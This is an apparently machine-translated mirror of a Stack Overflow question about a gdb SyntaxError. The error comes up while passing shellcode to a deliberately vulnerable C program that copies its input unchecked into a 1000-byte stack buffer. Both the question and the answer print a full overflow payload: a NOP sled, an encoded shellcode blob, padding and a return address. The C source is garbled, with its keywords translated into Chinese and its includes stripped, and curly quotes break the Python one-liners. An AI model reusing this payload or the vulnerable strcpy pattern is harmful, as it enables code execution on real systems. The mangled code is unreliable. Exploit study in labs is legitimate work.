【问题标题】:Shellcode gives SyntaxError in gdbShellcode 在 gdb 中给出 SyntaxError
【发布时间】:2012-10-06 14:12:05
【问题描述】:

我正在尝试将 shellcode 作为 C 程序中的命令行参数传递。但是 gdb 一直给我 SyntaxError。我做错了什么?

下面是C程序的内容和shellcode:

vulnerable.c

#include #include 无效的邪恶功能(字符*输入) { 字符缓冲区[1000]; strcpy(缓冲区,输入); } int main(int arc, char** argv) { 邪恶功能(argv [1]); 返回0; }

我在 gdb 上运行的命令是:

运行 $(python -c '打印“\x90” * 400 + "\xd9\xd0\xbd\xae\x95\x1b\xb9\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0d\x31 \x68\x18\x03\x68\x18\x83\xc0\xaa\x77\xee\xd3\x89\x2f\x88\x6c\x56\xe0\xc8\x05\xc6\xd0\x7f\xbe\x16\x7c \xc8\xb7\xf1\xea\xe5\xa4\xfd\xea\xbd\xa3\x1b\xb8\xd5\xbe\xe3\x3d\x26\x90\x81\x54\x48\xc1\x21\xc6\xe7 \x75\xa9\x5e\x5f\xce\x20\xb8\x50\xcb" + “\x90” * 549 + “\x4c\x04\x40”')

【问题讨论】:

  • 你试过用普通的替换那些印刷引号吗?

标签: gdb syntax-error shellcode


【解决方案1】:

您正试图在 GDB 提示符下使用 shell 语法。正如您所发现的,GDB 不支持子命令的 shell 语法。试试这个:

gdb --args ./a.out $(python -c 'print “\x90” * 400 + "\xd9\xd0\xbd\xae\x95\x1b\xb9\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0d\x31\x68\x18\x03\x68\x18\x83\xc0\xaa\x77\xee\xd3\x89\x2f\x88\x6c\x56\xe0\xc8\x05\xc6\xd0\x7f\xbe\x16\x7c\xc8\xb7\xf1\xea\xe5\xa4\xfd\xea\xbd\xa3\x1b\xb8\xd5\xbe\xe3\x3d\x26\x90\x81\x54\x48\xc1\x21\xc6\xe7\x75\xa9\x5e\x5f\xce\x20\xb8\x50\xcb" + “\x90” * 549 + “\x4c\x04\x40”')
(gdb) run

【讨论】:

    猜你喜欢
    • 2017-01-11
    • 1970-01-01
    • 1970-01-01
    • 2019-09-10
    • 2013-01-31
    • 1970-01-01
    • 2014-05-29
    • 2011-08-03
    • 2011-01-07
    相关资源
    最近更新 更多